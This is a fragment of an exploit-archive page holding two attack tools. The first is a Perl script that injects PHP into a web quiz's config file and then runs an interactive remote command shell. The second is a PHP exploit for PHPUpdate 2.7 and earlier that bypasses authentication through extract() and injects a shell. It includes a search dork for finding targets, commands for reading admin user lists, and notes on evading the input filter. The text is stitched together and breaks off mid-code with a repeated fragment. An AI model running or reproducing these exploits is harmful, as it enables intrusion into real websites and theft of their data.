my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); die "Connot Connect to $host !" unless($sock); print "\tConnected !\n\nSending Data \t"; print $sock "GET $phpinject HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: MorX-Zilla\n"; print $sock "Connection: Close\n\n"; print "\t OK\n\nChecking if code injected "; my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto => "tcp",); print $sock "GET $injcheck HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "User-Agent: MorX-Zilla\n"; print $sock "Connection: Close\n\n"; while($check = <$sock>){ if($check =~ /l3fou/) { $injected = 1; } } if($injected == 1 ){ print "\tSucceded !\n\n\tNOW YOU ARE IN !\n\n"; while(){ print "simo\@morx.org :~\$ "; $cmd = <STDIN>; chop($cmd); exit(0) if($cmd eq "exit"); $result = get("http://".$host.$path."cfgphpquiz/config.inc.php?morx=$cmd"); print $result; } } else {print "\tFailed\n\nPHPCode Injection Failed !\n\n";} black_hat_cr(HCE) PHPUpdate <= 2.7 extract() Auth Bypass / Shell Inject Exploit Code: <?php print_r(' PHPUpdate <= 2.7 extract() auth bypass / shell inject by rgod dork: "Powered by PHP-Update" -site:www.php-update.co.uk mail: retrog at alice dot it site: http://retrogod.altervista.org '); /* this works regardless of php.ini settings and against the flat-file version */ if ($argc<4) { print_r(' Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to PHPUpdate Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /phpupdate/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost / cat ./ / /admin/userlist.php -p81 '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy ';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $v = rand(111111,999999); /* software site: http://www.php-update.co.uk/ another funny extract() issue, vulnerable code in blog.php: <?php extract($HTTP_POST_VARS); extract($HTTP_GET_VARS); extract($HTTP_COOKIE_VARS); let me say tnx! so, you can overwrite $adminuser and $permission arguments and every var you wanr we cannot use <?php or <? to initiate code, because we have $newmessage = str_replace("<?", "<?", $newmessage); in blog.php, however this syntax is always avaliable, see php man page for basic syntax also this bypass magic_quotes_gpc because of the stripslashes() on $newmessage argument also, note this, we have a directory traversal in "f" argument . ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock)